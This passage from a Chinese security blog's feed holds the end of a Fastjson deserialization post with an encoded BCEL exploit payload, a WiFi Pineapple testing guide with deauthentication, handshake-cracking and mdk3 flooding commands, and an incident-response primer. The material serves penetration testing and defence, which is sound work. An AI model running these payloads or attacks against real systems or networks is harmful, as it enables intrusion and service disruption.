string">"com.sun.org.apache.bcel.internal.util.ClassLoader"</span>                <span class="token punctuation">}</span><span class="token punctuation">,</span>                <span class="token string">"driverClassName"</span><span class="token operator">:</span><span class="token string">"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeQ$3dO$CA$Q$7d$L$c8r$e7$a9$f8$B$o$7ek$nXx$8d$j$c4$c6$60$p$7eD$88$c6rY7$b8x$dc$91$f3P$fe$91$b5$8d$gM$b4$f7G$Zg$_$GI$d8bg$e7$cd$7bo$s$b3$df$3f$ef$9f$A$f6$b1m$c3$c2$bc$8d$F$e42$c8$9b$b8$c8Q$e0X$b2$91F$91c$99c$85$n$5d$d5$be$8e$O$Y$92$a5$f2$rC$ea0$b8Q$M3u$ed$ab$d3$7e$b7$a5$c2$a6hy$84d$aa$d2$fbcN5$o$n$efND$_$$$91$t$83$dd$I$fa$a1TG$daP$ad$da$83$f6$f6$3a$e2A8$b01$c9$b1$ea$60$N$ebd$$$85$t$jl$60$93a$de$d4$5dO$f8m$b76$90$aa$X$e9$c0g$u$fe$a3$X$7d$3f$d2$5d5$y$g$af$z$86l$Q$b6$5d5$Q$dd$9e$a7$5c$d3$88$a0$7f$d1Y$ab$a3d$c40$3b$e6C3$b6U4Lr$a5r$7d$8cS$a1$R$d5$40I$86$9d$d2H$b5$R$85$daoWF$F$e7a$m$d5$fd$3d$J$K$a3$cc$e6m$Y$3c$9a$a5T$ca$97$d8D$86$3e$c0$9c$E$98Y$E$dd$Oe$ab$U$Z$c5$89$ddW$b0gz$d0F$e9N$c7$60$92D$d3Cj$93r$83$$$be$n1$97$7cA$ea$ea$JS$c7$lH_$93$96$7f$3d$c7E$8b$a8$T$d4$c3$98$e4$e9e$ac$ac$Y$e5$84$d1$d7S$ef$ZB9$Su$8e$acE$a2$d9x$a8$b9_$Do$M$df$x$C$A$A"</span>            <span class="token punctuation">}</span>        <span class="token punctuation">}</span> <span class="token operator">:</span> <span class="token string">"xxx"</span>    <span class="token punctuation">}</span><span class="token punctuation">}</span></code></pre><p><img src="/images/pasted-1071.png" alt="upload successful"><br>本地没成功奇怪，调试了一下发现加载了 com.sun.org.apache.bcel.internal.util.ClassLoader但是在构造javabean的时候，class有值了，会走黑白名单。</p><p><img src="/images/pasted-1072.png" alt="upload successful"></p><p><img src="/images/pasted-1073.png" alt="upload successful"></p><p><img src="/images/pasted-1074.png" alt="upload successful"><br>不过起tomcat环境成功了，不理解，以后再说吧</p><p><img src="/images/pasted-1075.png" alt="upload successful"></p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;流程分析&quot;&gt;&lt;a href=&quot;#流程分析&quot; class=&quot;headerlink&quot; title=&quot;流程分析&quot;&gt;&lt;/a&gt;流程分析&lt;/h1&gt;&lt;p&gt;Fastjson的核心目的将json格式数据转换为对象。&lt;/p&gt;
&lt;h4 id=&quot;1-1-基础使用&quot;&gt;&lt;a href=&quot;#1
      
    
    </summary>
    
    
      <category term="Web安全" scheme="https://lnng.top/categories/Web%E5%AE%89%E5%85%A8/"/>
    
    
      <category term="代码审计" scheme="https://lnng.top/tags/%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/"/>
    
      <category term="Fastjson" scheme="https://lnng.top/tags/Fastjson/"/>
    
      <category term="JAVA" scheme="https://lnng.top/tags/JAVA/"/>
    
  </entry>
  
  <entry>
    <title>无线安全测试指南</title>
    <link href="https://lnng.top/posts/bb3f.html"/>
    <id>https://lnng.top/posts/bb3f.html</id>
    <published>2023-12-10T13:05:00.000Z</published>
    <updated>2024-02-02T02:40:14.883Z</updated>
    
    <content type="html"><![CDATA[<h3 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h3><p>本文介绍了无线安全评估的测试方向和测试方法，并采用公司部门常有的wifipineapple设备做测试工具。通过本文的阅读可以学习到wifipineapple更深层的网卡操作，且可作为日常无线安全评估的测试参考。</p><h3 id="wifipineapple初始化"><a href="#wifipineapple初始化" class="headerlink" title="wifipineapple初始化"></a>wifipineapple初始化</h3><p>连接电源，机器释放一个wifi，连接此wifi</p><p><img src="/images/pasted-1004.png" alt="upload successful"></p><p>连接访问，初始化密码</p><p><a href="http://172.16.42.1:1471/" target="_blank" rel="noopener">http://172.16.42.1:1471/</a></p><p><img src="/images/pasted-1005.png" alt="upload successful"></p><p><img src="/images/pasted-1006.png" alt="upload successful"></p><p><img src="/images/pasted-1007.png" alt="upload successful"></p><p>根据需求初始化</p><p><img src="/images/pasted-1008.png" alt="upload successful"></p><p>连接管理wifipineapple的wifi啊，这是是test</p><p>继续访问<a href="http://172.16.42.1:1471/" target="_blank" rel="noopener">http://172.16.42.1:1471/</a></p><p><img src="/images/pasted-1009.png" alt="upload successful"></p><p>ssh连接</p><p><img src="/images/pasted-1010.png" alt="upload successful"></p><p>查看网卡运行状态</p><pre><code>iw dev wlan0-1 info</code></pre><p><img src="/images/pasted-1011.png" alt="upload successful"></p><p><img src="/images/pasted-1012.png" alt="upload successful"></p><p>可以发现有三个网卡，对三个网卡的功能进行划定</p><p><img src="/images/pasted-1013.png" alt="upload successful"></p><h3 id="无线安全基础测试"><a href="#无线安全基础测试" class="headerlink" title="无线安全基础测试"></a>无线安全基础测试</h3><h4 id="无线加密测试"><a href="#无线加密测试" class="headerlink" title="无线加密测试"></a>无线加密测试</h4><p><strong>测试描述：</strong></p><p>本测试旨在评估无线网络的加密设置，以确认网络通信在安全性方面的可靠性。通过对网络的加密配置进行全面的测试，我们可以发现潜在的弱点，并采取适当的措施加固安全性。</p><p><strong>测试方法：</strong></p><ol><li>设置网卡为监听状态</li></ol><p>查看网卡wlan1初始状态为Managed 模式，需切换到Monitor 模式</p><p><img src="/images/pasted-1014.png" alt="upload successful"></p><p>启动无线网络适配器wlan1的监听模式<code>airmon-ng start wlan1</code></p><p><img src="/images/pasted-1015.png" alt="upload successful"></p><p>探测周围的WiFi查看加密方式<code>airodump-ng wlan1mon</code></p><p><img src="/images/pasted-1016.png" alt="upload successful"></p><p>安全情况ENC为:WPA2或WPA3</p><p><strong>修复建议:</strong></p><ul><li>使用 WPA2 或更高级别的加密标准，如 WPA3，以提供更强大的数据保护。</li><li>定期审查和更新网络的加密和身份验证设置，以应对新的安全威胁和漏洞。</li></ul><h4 id="无线认证测试"><a href="#无线认证测试" class="headerlink" title="无线认证测试"></a>无线认证测试</h4><p><strong>测试描述：</strong></p><p>测试通过尝试使用常见密码、字典攻击等方法来猜测Wi-Fi密码，以识别可能存在的弱口令，从而提供改进建议，增强网络的安全性。</p><p><strong>测试方法：</strong></p><p>无线口令测试根据企业wifi认证类型分为两类，Web 界面认证测试和连接认证测试。</p><h5 id="Web-界面认证测试"><a href="#Web-界面认证测试" class="headerlink" title="Web 界面认证测试"></a>Web 界面认证测试</h5><ol><li><strong>爆破攻击：</strong> 使用工具或脚本对 Web 界面进行爆破攻击，尝试猜测用户名和密码组合。</li><li><strong>漏洞扫描：</strong> 对 Web 界面进行漏洞扫描，查找可能导致认证绕过或者泄露信息的漏洞。</li></ol><h5 id="连接认证测试"><a href="#连接认证测试" class="headerlink" title="连接认证测试"></a>连接认证测试</h5><p>   小技巧:首先看wifi万能钥匙等密码共享软件是否泄露密码。</p><ol><li><strong>无线密码爆破：</strong> 使用专门的工具进行无线密码爆破，尝试猜测预共享密钥（PSK）或其他连接密码。</li></ol><p>为避免网络检测和减少锁定风险，采用捕获握手包破解方法。握手包捕获是一种基于WPA/WPA2加密协议的密码破解方法，通过截获目标无线网络中的握手包，可以在离线环境中对这些包进行密码爆破。具体原理如下。</p><p><img src="/images/pasted-1017.png" alt="upload successful">操作流程具体如下:</p><ul><li>寻找一个连接此wifi的客户端、wifi的ssid、信道<code>airodump-ng wlan1mon</code></li></ul><p><img src="/images/pasted-1018.png" alt="upload successful"></p><ul><li>启动监听测试wifi的ssid和信道<code>airodump-ng --bssid &quot;ssid&quot; -w &quot;文件名称&quot; -c &quot;信道&quot; wlan1mon</code></li></ul><p><img src="/images/pasted-1019.png" alt="upload successful"></p><ul><li>管理针攻击将其他用户踢下线，触发用户重连获取握手包。<code>aireplay-ng -0 5 -a &quot;ssid&quot; -c &quot;客户端STATION&quot; wlan1mon</code></li></ul><p><img src="/images/pasted-1020.png" alt="upload successful"></p><ul><li>关闭监听，根据握手包暴力破解密码<code>aircrack-ng -w &quot;弱口令字典&quot; &quot;握手包&quot;</code></li></ul><p><img src="/images/pasted-1021.png" alt="upload successful"></p><p>若使用弱口令字典成功爆破出密码则认为不安全。</p><ol start="2"><li><strong>WPS 攻击：</strong> 如果目标网络支持 Wi-Fi Protected Setup（WPS），进行 WPS 攻击，尝试破解 PIN 码。</li></ol><p>查看目标wifi是否开启WPS，如开启则认为不安全。下面使用wifiPineapple Web界面查看是否开启WPS:</p><p><img src="/images/pasted-1022.png" alt="upload successful"></p><p><strong>修复建议:</strong></p><ol><li>定期更改Wi-Fi密码，防范长期生效的密码攻击。</li><li>采用复杂度高的无线密码，包含大小写字母、数字和特殊字符。长密码通常更加安全。</li><li>WPS可能存在安全漏洞，建议禁用以防范攻击。</li></ol><h4 id="空口捕获测试"><a href="#空口捕获测试" class="headerlink" title="空口捕获测试"></a>空口捕获测试</h4><p><strong>测试描述：</strong></p><p>即在不联网（或者只获取公网IP地址）的情况下，对周围的无线数据进行捕获，以期望从中找到敏感数据，比如认证的手机号密码等。</p><p><strong>测试方法：</strong></p><p>将网卡置于监听状态即可开始捕获，即这里是在802.11协议网络层面的抓包。使用airodump-ng对目标MAC地址的数据流量进行捕获，捕获一段时间的数据包，具体操作如下所示：</p><p>airodump-ng -w “保存地址” -c “信道” –bssid “bssid” wlan1mon </p><p><img src="/images/pasted-1023.png" alt="upload successful"></p><p>需稍等一会捕获数据</p><p><img src="/images/pasted-1024.png" alt="upload successful"></p><p>查看捕获文件如果发现敏感信息则认为不安全。</p><p><img src="/images/pasted-1025.png" alt="upload successful"></p><p>使用Python2启简单http服务，下载下来查看即可。</p><h4 id="DDoS攻击测试"><a href="#DDoS攻击测试" class="headerlink" title="DDoS攻击测试"></a>DDoS攻击测试</h4><p><strong>测试描述：</strong></p><p>对wifi进行拒绝服务攻击，伪造大量的client去连接ap，以验证是否启用了MAC地址过滤功能。</p><p><strong>测试方法：</strong></p><p>使用mdk3对目标MAC地址进行持续30分钟的DDoS攻击，命令如下：</p><pre><code>mdk3 wlan0mon a -a &quot;SSID&quot; -s 1000</code></pre><p>如果无线设备仍能正常返回请求，说明具备一定的抗DDoS攻击能力，此项测试安全。</p><h4 id="伪AP测试"><a href="#伪AP测试" class="headerlink" title="伪AP测试"></a>伪AP测试</h4><p><strong>测试描述：</strong></p><p>搭建伪AP，对用户进行欺骗攻击。此处主要用来验证WLAN管理网络中是否有检测伪AP的机制。</p><p><strong>测试方法：</strong></p><p>打开wifipineapple web界面，配置和被测目标名称一致的SSID即可，记得给客户报备你的MAC地址。</p><p><img src="/images/pasted-1026.png" alt="upload successful"></p><p>测试半小时内无办公电脑连接。WLAN管理网络中存在检测伪AP的机制，能够及时发现并报告伪AP，则认为安全。</p><h3 id="内网渗透测试"><a href="#内网渗透测试" class="headerlink" title="内网渗透测试"></a>内网渗透测试</h3><p><strong>测试描述：</strong></p><p>模拟黑客成功连接wifi后的测试。测试主要分为两类内网无线未认证状态和内网无线认证状态下的测试。</p><p><strong>测试方法：</strong></p><p>常规内网测试即可，比如利用nmap、fscan、gorailgun等工具扫描发现内网脆弱风险。</p><h3 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h3><p>本文主要介绍了wifipineapple在无线安全评估方面的使用方法。wifipineapple可完成基本的无线安全评估，但由于wifipineapple本身系统命令支持较少、系统自带工具少、网卡也不是全部可控、国内教程少，如果您想更深入的进行无线安全评估更推荐您购买Kali Linux免驱无线网卡进行测试和学习。</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h3 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h3&gt;&lt;p&gt;本文介绍了无线安全评估的测试方向和测试方法，并采用公司部门常有的wifipineapple设备做测试工具。通过本文的阅读可以学习到wifip
      
    
    </summary>
    
    
      <category term="无线安全" scheme="https://lnng.top/categories/%E6%97%A0%E7%BA%BF%E5%AE%89%E5%85%A8/"/>
    
    
      <category term="WIFI安全" scheme="https://lnng.top/tags/WIFI%E5%AE%89%E5%85%A8/"/>
    
  </entry>
  
  <entry>
    <title>应急响应基础</title>
    <link href="https://lnng.top/posts/b95c.html"/>
    <id>https://lnng.top/posts/b95c.html</id>
    <published>2022-11-26T13:20:00.000Z</published>
    <updated>2023-10-28T13:42:48.532Z</updated>
    
    <content type="html"><![CDATA[<h3 id="此文章为博客丢失找回内容"><a href="#此文章为博客丢失找回内容" class="headerlink" title="此文章为博客丢失找回内容"></a>此文章为博客丢失找回内容</h3><p>此文章为博客丢失找回内容可能存在部分内容缺失情况</p><h3 id="一、应急响应概念"><a href="#一、应急响应概念" class="headerlink" title="一、应急响应概念"></a>一、应急响应概念</h3><p>为应对计算机和网络信息中的突发安全事件前的准备工作和事件后的处置措施</p><h3 id="二、应急响应的流程"><a href="#二、应急响应的流程" class="headerlink" title="二、应急响应的流程"></a>二、应急响应的流程</h3><p><img src="/images/pasted-864.png" alt="upload successful"></p><h3 id="三、实操排查点"><a href="#三、实操排查点" class="headerlink" title="三、实操排查点"></a>三、实操排查点</h3><p><img src="/images/pasted-865.png" alt="upload successful"></p><h4 id="1-、windows应急响应"><a href="#1-、windows应急响应" class="headerlink" title="(1)、windows应急响应"></a>(1)、windows应急响应</h4><h5 id="1-检查系统账户安全"><a href="#1-检查系统账户安全" class="headerlink" title="1.检查系统账户安全"></a>1.检查系统账户安全</h5><h6 id="1-1-已有账号和远程管理端口"><a href="#1-1-已有账号和远程管理端口" class="headerlink" title="1.1 已有账号和远程管理端口"></a>1.1 已有账号和远程管理端口</h6><p>检查服务器已有系统或应用账号是否有弱口令，3389端口是否对外公网开放</p><ul><li>系统管理员账号</li><li>网站后台账户</li><li>数据库账户</li><li>FTP</li><li>Tomcat</li><li>phpMyAdmin</li></ul><p>查看当前登录账号:<code>query user</code></p><p><img src="/images/pasted-866.png" alt="upload successful"></p><p>使用logoff ID 命令注销已登录用户(会注销到账号登录界面)，当可疑账号出于登录状态时，也可以使用mimikatz抓取密码</p><h6 id="1-2-可疑账户、新增账户"><a href="#1-2-可疑账户、新增账户" class="headerlink" title="1.2 可疑账户、新增账户"></a>1.2 可疑账户、新增账户</h6><p>检查服务器内是否有可疑账户、新增账户</p><p>检查方法:    打开cmd，输入<code>lusrmgr.msc</code>命令，查看是否有新增/可疑的账户</p><p><img src="/images/pasted-867.png" alt="upload successful"></p><p><code>wmic UserAccount get</code>列出当前系统所有账户(与查看lusrmgr结果一样，无法看到隐藏账户)</p><p><img src="/images/pasted-868.png" alt="upload successful"></p><h6 id="1-3-查看服务器是否存在隐藏账户、克隆账户"><a href="#1-3-查看服务器是否存在隐藏账户、克隆账户" class="headerlink" title="1.3 查看服务器是否存在隐藏账户、克隆账户"></a>1.3 查看服务器是否存在隐藏账户、克隆账户</h6><ol><li>对于添加$符号的隐藏账户</li></ol><p>使用下面命令:<code>net localgroup administrators</code>(一般攻击者添加账户为管理组)或计算机管理查看</p><p><img src="/images/pasted-869.png" alt="upload successful"></p><p><img src="/images/pasted-870.png" alt="upload successful"></p><ol start="2"><li>对于修改注册表的隐藏账户</li></ol><p>无法在”计算机管理”中看到，打开注册表，右键权限修改管理员权限</p><p><img src="/images/pasted-871.png" alt="upload successful"></p><p>退出注册表从进，查看Users表项目于Names表项中的项数量是否一致或者把这里存在的账户和计算机管理中存在的账户进行比较，多出来的账户就是隐藏账户。直接删除以隐藏账户命名的项。</p><p><img src="/images/pasted-872.png" alt="upload successful"></p><h6 id="1-4-工具使用"><a href="#1-4-工具使用" class="headerlink" title="1.4 工具使用"></a>1.4 工具使用</h6><ol><li>D盾</li></ol><p><img src="/images/pasted-873.png" alt="upload successful"></p><ol start="2"><li>pchunter</li></ol><p><img src="/images/pasted-874.png" alt="upload successful"></p><h5 id="2-检查异常端口、进程"><a href="#2-检查异常端口、进程" class="headerlink" title="2.检查异常端口、进程"></a>2.检查异常端口、进程</h5><h6 id="2-1-检查端口连接情况，是否有远程连接、可疑连接"><a href="#2-1-检查端口连接情况，是否有远程连接、可疑连接" class="headerlink" title="2.1 检查端口连接情况，是否有远程连接、可疑连接"></a>2.1 检查端口连接情况，是否有远程连接、可疑连接</h6><ol><li>端口状态查看</li></ol><p><img src="/images/pasted-875.png" alt="upload successful"></p><p>管理员权限下:<code>netstat -anob</code>查看占用端口的应用情况</p><p><img src="/images/pasted-876.png" alt="upload successful"></p><p>-a        显示所有连接和监听端口。<br>-b        显示包含于创建每个连接或监听端口的可执行组件。在某些情况下已知可执行组件拥有多个独立组件，并且在这些情况下包含于创建连接或监听端口的组件序列被显示。这种情况下，可执行组件名在底部的 [] 中，顶部是其调用的组件等等，直到 TCP/IP部分。注意此选项可能需要很长时间，如果没有足够权限可能失败。</p><p>-n        以数字形式显示地址和端口号。<br>-o        显示与每个连接相关的所属进程 ID。</p><ol start="2"><li>查看路由表</li></ol><p><code>netstat -rn</code></p><p><img src="/images/pasted-877.png" alt="upload successful"></p><p> -r        显示路由表</p><ol start="3"><li>进程定位</li></ol><p>根据netstat定位出pid，再通过tasklist命令进行进程定位</p><p><code>tasklist | findstr &quot;pid&quot;</code></p><p><img src="/images/pasted-878.png" alt="upload successful"></p><ol start="4"><li>防火墙配置</li></ol><p>控制面板–&gt;windows防火墙–&gt;高级设置       入站策略和出站策略   查看防火墙入站和出站规则</p><p><img src="/images/pasted-879.png" alt="upload successful"></p><p>命令<code>netsh firewall show all</code></p><p><img src="/images/pasted-880.png" alt="upload successful"></p><ol start="5"><li>工具使用</li></ol><p>PChunter、火绒剑、DNSQuerySniffer</p><p>使用火绒剑、PChunter查看网络连接</p><p>PChunter:</p><p><img src="/images/pasted-881.png" alt="upload successful"></p><p>火绒剑: 可着重查看 <strong>未知文件</strong>，远程地址为 <strong>外部地址</strong>，状态为 <strong>ESTABLISHED</strong>、<strong>LISTEN</strong>的连接，另外需要注意模块路径是否正确。</p><p><img src="/images/pasted-882.png" alt="upload successful"></p><p>DNSQuerySniffer:DNS解析查询工具。可以通过此工具确定访问恶意域名的端口，该工具还可以将访问过的所有域名记录下来，重点关注红色记录的端口、响应代码、A记录(双击查看)</p><p><img src="/images/pasted-883.png" alt="upload successful"></p><h6 id="2-2-检查进程"><a href="#2-2-检查进程" class="headerlink" title="2.2 检查进程"></a>2.2 检查进程</h6><ol><li><p>没有签名验证信息的进程</p></li><li><p>没有描述信息的进程</p></li><li><p>进程的属主</p></li><li><p>进程的路径</p></li><li><p>进程的占用</p></li></ol><p>a、cmd查看</p><p><code>tasklist /?</code> 查看tasklist 命令的使用</p><p><img src="/images/pasted-884.png" alt="upload successful"></p><p>查看进程对应的服务</p><p><code>tasklist /svc</code></p><p><img src="/images/pasted-885.png" alt="upload successful"></p><p>查看指定进程对应详情</p><p><code>tasklist /svc |findstr pid</code></p><p><img src="/images/pasted-886.png" alt="upload successful"></p><p>查看加载的DLL进程    查看DLL劫持</p><p><code>tasklist /m |findstr pid</code></p><p><img src="/images/pasted-887.png" alt="upload successful"></p><p>b、powershell 查看进程</p><p><code>get-process</code></p><p><img src="/images/pasted-888.png" alt="upload successful"></p><p>c、系统应用查看</p><p>开始输入msinfo</p><p><img src="/images/pasted-889.png" alt="upload successful"></p><p><img src="/images/pasted-890.png" alt="upload successful"></p><p>d、工具排查</p><p>没有厂商名称、没有签名信息、没有描述信息、CPU占用高</p><p>Pchunter:</p><p>黑色为微软官方进程、蓝色为外界进程、红色为可疑进程</p><p><img src="/images/pasted-891.png" alt="upload successful"></p><p><img src="/images/pasted-892.png" alt="upload successful"></p><p>ProcessExplorer(微软官方):</p><p><img src="/images/pasted-893.png" alt="upload successful"></p><h5 id="3-检查启动项目、计划任务、服务"><a href="#3-检查启动项目、计划任务、服务" class="headerlink" title="3.检查启动项目、计划任务、服务"></a>3.检查启动项目、计划任务、服务</h5><h6 id="3-1-开机启动项目"><a href="#3-1-开机启动项目" class="headerlink" title="3.1 开机启动项目"></a>3.1 开机启动项目</h6><ol><li>windows7 启动目录</li></ol><p><img src="/images/pasted-894.png" alt="upload successful"></p><p>windows10:</p><p><img src="/images/pasted-895.png" alt="upload successful"></p><p><img src="/images/pasted-896.png" alt="upload successful"></p><p>开始菜单启动项:<code>C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup</code></p><p>cmd:<br><img src="/images/pasted-897.png" alt="upload successful"></p><p>系统自动启动的的目录： shell:Common Startup<br>用户自动启动的的目录： shell:Startup</p><ol start="2"><li><p>任务管理器”启动”列表</p><p>在任务管理器里查看</p></li></ol><p><img src="/images/pasted-898.png" alt="upload successful"></p><ol start="3"><li>注册表内启动项</li></ol><p>WIN+R 输入 regedit，打开注册表，查看开机启动项是否正常，有异常删除，并安装杀毒软件进行病毒查杀，清楚残留病毒或木马</p><p><code>计算机\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</code></p><p><img src="/images/pasted-899.png" alt="upload successful"></p><p><code>计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run</code></p><p><img src="/images/pasted-900.png" alt="upload successful"></p><p><code>计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce</code></p><p>重启就会被清空</p><p><img src="/images/pasted-901.png" alt="upload successful"></p><p><code>计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer</code></p><p><img src="/images/pasted-902.png" alt="upload successful"></p><p><code>计算机\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce</code></p><p><img src="/images/pasted-903.png" alt="upload successful"></p><p>排查发现计划任务可以计算MD5值看该进程与启动项是否一致</p><p><code>certutil -hashfile file md5</code></p><p>防止攻击者替换启动项目文件</p><p><img src="/images/pasted-904.png" alt="upload successful"></p><ol start="4"><li>组策略编辑器</li></ol><p>运行gpedit.msc</p><p><img src="/images/pasted-905.png" alt="upload successful"></p><p><img src="/images/pasted-906.png" alt="upload successful"></p><ol start="5"><li>工具排查</li></ol><p>pchunter:</p><p><img src="/images/pasted-907.png" alt="upload successful"></p><p>Autoruns 微软官方: 黄色红色比较可疑</p><p><img src="/images/pasted-908.png" alt="upload successful"></p><p><img src="/images/pasted-909.png" alt="upload successful"></p><p>WMI后门:无文件，相对难排查</p><p><img src="/images/pasted-910.png" alt="upload successful"></p><h6 id="3-2-计划任务"><a href="#3-2-计划任务" class="headerlink" title="3.2 计划任务"></a>3.2 计划任务</h6><p>taskschd.msc，查看计划任务属性，查看疑似木马文件的路径</p><p><img src="/images/pasted-911.png" alt="upload successful"></p><p><img src="/images/pasted-912.png" alt="upload successful"></p><p>CMD schtasks.exe</p><p><img src="/images/pasted-913.png" alt="upload successful"></p><h6 id="3-3-服务"><a href="#3-3-服务" class="headerlink" title="3.3 服务"></a>3.3 服务</h6><ol><li>服务自启动检查</li></ol><p><img src="/images/pasted-914.png" alt="upload successful"></p><p><img src="/images/pasted-915.png" alt="upload successful"></p><ol start="2"><li>进程注入</li></ol><p>cs进程注入:</p><p><img src="/images/pasted-916.png" alt="upload successful"></p><p><img src="/images/pasted-917.png" alt="upload successful"></p><p>上线成功:</p><p><img src="/images/pasted-918.png" alt="upload successful"></p><p>ProcessExplorer(微软官方):</p><p><img src="/images/pasted-919.png" alt="upload successful"></p><p><img src="/images/pasted-920.png" alt="upload successful"></p><p>火绒剑:</p><p><img src="/images/pasted-921.png" alt="upload successful"></p><h5 id="4-检查系统相关信息及文件排查"><a href="#4-检查系统相关信息及文件排查" class="headerlink" title="4.检查系统相关信息及文件排查"></a>4.检查系统相关信息及文件排查</h5><h6 id="4-1-查看系统信息"><a href="#4-1-查看系统信息" class="headerlink" title="4.1 查看系统信息"></a>4.1 查看系统信息</h6><ol><li>msinfo32</li></ol><p><img src="/images/pasted-922.png" alt="upload successful"></p><p><img src="/images/pasted-923.png" alt="upload successful"></p><p>重点看正在运行的任务、服务、系统驱动程序、加载的模块、启动程序</p><h6 id="4-2-查看可疑目录文件"><a href="#4-2-查看可疑目录文件" class="headerlink" title="4.2 查看可疑目录文件"></a>4.2 查看可疑目录文件</h6><ol><li>可疑进程 cpu利用率  进程名 时间—-&gt;文件</li></ol><p>powershell:Get-ChildItem</p><p>cmd:dir   dir /r 隐藏文件   dir  /x 短文件名</p><p>Everything:</p><p> <code>c: &lt;*.exe | *.bat&gt; dm:2022/11/10-2022/11/22 size:&gt;1mb</code></p><p><img src="/images/pasted-924.png" alt="upload successful"></p><p><strong>C: 表示盘符</strong>，如果是 C 盘、D 盘，对应的修改就行了。</p><p><strong>&lt;*.exe | *.bat&gt;,</strong> 表示任意的以 .exe 或 .bat 结尾的文件，* 为通配符。</p><p><strong>dm:2022/11/10-2022/11/22</strong> 表示修改时间为2022/11/10-2022/11/22间的文件，这里要与系统设置的时间格式保持一致，如果是月份在前，那这里也相应的修改一下。</p><p> <strong>size:&gt;1mb</strong>:设置文件大小</p><ol start="2"><li>注册表查看已安装应用程序目录:</li></ol><p><code>计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\</code></p><p><img src="/images/pasted-925.png" alt="upload successful"></p><ol start="3"><li>查看用户目录</li></ol><p>新建账户会在这个目录生成一个用户目录，查看是否有新建用户目录。就是c盘用户目录一般几个用户就会有几个文件夹。</p><p><img src="/images/pasted-926.png" alt="upload successful"></p><p>windows 2000/xp/2003 C:\Documents and Settings</p><ol start="4"><li>其他位置文件</li></ol><p>回收站、浏览器下载目录(c盘下载和浏览器默认下载路径)、浏览器历史记录、系统临时文件、浏览器cookie信息</p><ol start="5"><li>时间</li></ol><p>修改时间早于创建时间</p><h4 id="2-、Linux-应急响应"><a href="#2-、Linux-应急响应" class="headerlink" title="(2)、Linux 应急响应"></a>(2)、Linux 应急响应</h4><h5 id="1-进程"><a href="#1-进程" class="headerlink" title="1. 进程"></a>1. 进程</h5><h6 id="1-1-查看占用大量CPU-RAM的进程"><a href="#1-1-查看占用大量CPU-RAM的进程" class="headerlink" title="1.1 查看占用大量CPU/RAM的进程"></a>1.1 查看占用大量CPU/RAM的进程</h6><p><code>top</code></p><p><img src="/images/pasted-927.png" alt="upload successful"></p><h6 id="1-2-进程树"><a href="#1-2-进程树" class="headerlink" title="1.2 进程树"></a>1.2 进程树</h6><p><code>ps -auxwf</code></p><p><img src="/images/pasted-928.png" alt="upload successful"></p><h6 id="1-3-开放的网络端口"><a href="#1-3-开放的网络端口" class="headerlink" title="1.3 开放的网络端口"></a>1.3 开放的网络端口</h6><pre><code>netstat -nalpss -a -e -ilsof [many opitons]</code></pre><p><img src="/images/pasted-929.png" alt="upload successful"></p><h6 id="1-4-查找被删除但还在运行的程序"><a href="#1-4-查找被删除但还在运行的程序" class="headerlink" title="1.4 查找被删除但还在运行的程序"></a>1.4 查找被删除但还在运行的程序</h6><pre><code>ls -alR /proc/*/exe 2&gt; /dev/null |grep deleted</code></pre><h6 id="1-5-进程相关名称及命令"><a href="#1-5-进程相关名称及命令" class="headerlink" title="1.5 进程相关名称及命令"></a>1.5 进程相关名称及命令</h6><pre><code>strings /proc/&lt;PID&gt;/commstrings /proc/&lt;PID&gt;/cmdline</code></pre><p><img src="/images/pasted-930.png" alt="upload successful"></p><p><img src="/images/pasted-931.png" alt="upload successful"></p><h6 id="1-6-进程实际路径"><a href="#1-6-进程实际路径" class="headerlink" title="1.6 进程实际路径"></a>1.6 <strong>进程实际路径</strong></h6><p><code>ls -al /proc/&lt;PID&gt;/exe</code></p><p><img src="/images/pasted-932.png" alt="upload successful"></p><h6 id="1-7-进程执行时环境变量"><a href="#1-7-进程执行时环境变量" class="headerlink" title="1.7 进程执行时环境变量"></a>1.7 进程执行时环境变量</h6><p><code>strings /proc/&lt;PID&gt;/environ</code></p><p><img src="/images/pasted-933.png" alt="upload successful"></p><h6 id="1-8-查看所有进程执行目录"><a href="#1-8-查看所有进程执行目录" class="headerlink" title="1.8 查看所有进程执行目录"></a>1.8 <strong>查看所有进程执行目录</strong></h6><pre><code>ls -alR /proc/*/cwd</code></pre><p><img src="/images/pasted-935.png" alt="upload successful"></p><h6 id="1-9-查看在tmp-dev-目录下执行的程序"><a href="#1-9-查看在tmp-dev-目录下执行的程序" class="headerlink" title="1.9 查看在tmp dev 目录下执行的程序"></a>1.9 <strong>查看在tmp dev 目录下执行的程序</strong></h6><pre><code>ls -alR /proc/*/cwd 2&gt; /dev/null | grep tmpls -alR /proc/*/cwd 2&gt; /dev/null | grep dev</code></pre><h5 id="2-目录"><a href="#2-目录" class="headerlink" title="2. 目录"></a>2. 目录</h5><p>需要检查的目录</p><pre><code>/tmp, /var/tmp, /dev/shm, /var/run,/var/spool, user home directories</code></pre><p>常用命令:</p><p><code>ls -alp path</code></p><p><img src="/images/pasted-936.png" alt="upload successful"></p><p>查找隐藏文件:</p><p><code>find / -d -name &quot;.*&quot;</code></p><h5 id="3-文件"><a href="#3-文件" class="headerlink" title="3. 文件"></a>3. 文件</h5><p><strong>查找设置属性为不可修改的文件</strong></p><pre><code>lsattr / -R 2&gt; /dev/null | grep &quot;\----i&quot;</code></pre><p><strong>查找设置为SUID/SGUID的文件</strong></p><pre><code>find / -type f \( -perm -04000 -o -perm -02000 \) -exec ls -lg {} \;</code></pre><p><img src="/images/pasted-937.png" alt="upload 